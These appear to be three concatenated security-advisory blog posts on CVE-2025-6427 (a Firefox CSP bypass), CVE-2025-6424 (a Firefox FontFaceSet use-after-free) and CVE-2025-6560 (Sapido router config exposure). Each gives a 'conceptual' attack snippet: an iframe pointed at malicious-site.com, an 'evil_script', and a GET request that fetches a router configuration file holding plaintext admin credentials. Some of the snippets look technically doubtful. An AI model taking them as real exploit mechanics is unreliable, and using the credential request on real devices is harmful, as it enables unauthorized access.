Author: Ameeba

Overview

In the ongoing quest for secure online browsing, a new vulnerability has surfaced which presents a significant threat to internet users. The vulnerability, labeled as CVE-2025-6427, exploits a flaw in Firefox versions prior to 140, allowing an attacker to bypass the `connect-src` directive of a Content Security Policy (CSP).
This vulnerability poses an immediate concern for businesses, developers, and individual users alike due to the potential system compromise and data leakage that can occur. As the majority of online users rely on internet browsers for daily operations, this vulnerability requires immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-6427
Severity: Critical (9.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage.

Affected Products

Product | Affected Versions

Firefox | < 140 How the Exploit Works

The exploitation of CVE-2025-6427 involves an attacker manipulating subdocuments to bypass the `connect-src` directive of a Content Security Policy. This allows the attacker to make connections to unauthorized servers and hide these connections from the Network tab in Devtools. It essentially grants the attacker unrestricted access, thereby leading to possible system compromise and data leakage.

Conceptual Example Code

An example of how this exploit might be conducted is shown below. Please note that this is a conceptual representation and does not represent a real-world exploit.

let iframe = document.createElement('iframe');
iframe.src = 'https://malicious-site.com/exploit.html';
document.body.appendChild(iframe);
iframe.contentWindow.postMessage('connect-src-bypass', '*');

In the above example, an attacker creates an iframe that loads a malicious document from `https://malicious-site.com/exploit.html`. The iframe then posts a message that triggers the `connect-src` directive bypass, thereby allowing unauthorized connections to the malicious site.

Mitigation

The ideal solution to mitigate the risk of this vulnerability is to apply the vendor patch provided by Firefox. Users are encouraged to upgrade their Firefox browser to version 140 or later, which contains the necessary fixes.
As a temporary mitigation, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) is recommended. While this does not completely resolve the vulnerability, it can significantly decrease the risk of a successful exploit.
Remember, the first line of defense is always to keep software and systems up-to-date, following vendor recommendations and best practices in cybersecurity.

Overview

This blog post explores the critical vulnerability CVE-2025-6424, a use-after-free flaw discovered in FontFaceSet. This flaw can potentially lead to an exploitable crash, impacting users of Firefox versions up to 140, Firefox ESR up to 115.25, and Firefox ESR up to 128.12. Given the widespread use of Firefox around the world, the severity of this vulnerability is significant, with a potential for system compromise or data leakage. In an era where data security is paramount, addressing this vulnerability is of utmost importance.

Vulnerability Summary

CVE ID: CVE-2025-6424
Severity: Critical (CVSS: 9.8)
Attack Vector: Remote
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Firefox | < 140 Firefox ESR | < 115.25 Firefox ESR | < 128.12 How the Exploit Works

The vulnerability originates from a use-after-free condition in FontFaceSet. This occurs when the program continues to use a pointer after it has been freed. This can lead to two potential issues, either the program will crash when it attempts to access the freed memory, or it could lead to the execution of arbitrary code if the attacker can control what is placed at the memory location, which is freed. In this case, it results in a potentially exploitable crash that could lead to system compromise or data leakage.

Conceptual Example Code

While no specific exploit code is available for this flaw, the following pseudocode provides a conceptual idea of how an attacker might exploit a use-after-free vulnerability:

// The attacker convinces the user to run a script on a web page
let evil_script = () => {
fontFaceSet = document.fonts;
fontFaceSet.clear(); // This frees the FontFaceSet object
fontFaceSet.load('font_name'); // This would attempt to use the freed FontFaceSet
};
// The malicious script is executed when the user visits a page
window.onload = () => {
evil_script();
};

This code illustrates a scenario where an attacker could manipulate the user into executing a script that attempts to use a freed FontFaceSet object, triggering the use-after-free vulnerability.

Overview

The Common Vulnerabilities and Exposures system has identified a severe security issue, dubbed CVE-2025-6560, that affects multiple wireless router models from Sapido. This vulnerability allows an unauthenticated remote attacker to directly access system configuration files and obtain plaintext administrator credentials, posing a serious security threat. The severity of this vulnerability emphasizes the importance of regular security updates and maintenance of devices, especially as the affected models are no longer supported by the vendor.

Vulnerability Summary

CVE ID: CVE-2025-6560
Severity: Critical (CVSS 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to sensitive data, potential system compromise

Affected Products

Product | Affected Versions

Sapido Wireless Router | All Unsupported Versions

How the Exploit Works

This exploit works by taking advantage of the Exposure of Sensitive Information vulnerability in Sapido wireless routers. An attacker can send a specially crafted request to the router, which does not properly authenticate or restrict access to its system configuration file. This allows the attacker to download the file and extract plaintext administrative credentials. With these credentials, the attacker can gain full control over the router.

Conceptual Example Code

The vulnerability might be exploited using a simple HTTP GET request to the router’s configuration file. A conceptual example of this might look as follows:

GET /system_configuration.cfg HTTP/1.1
Host: router_ip_address

With the configuration file in their possession, an attacker could then extract the plaintext administrator credentials and gain full access to the router.

Mitigation Guidance

Given that the affected models are out of support, the best course of action is to replace the device entirely. If immediate replacement is not possible, consider using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor and block malicious traffic, providing temporary mitigation for the vulnerability. Always ensure to regularly update and patch your devices to protect against known vulnerabilities.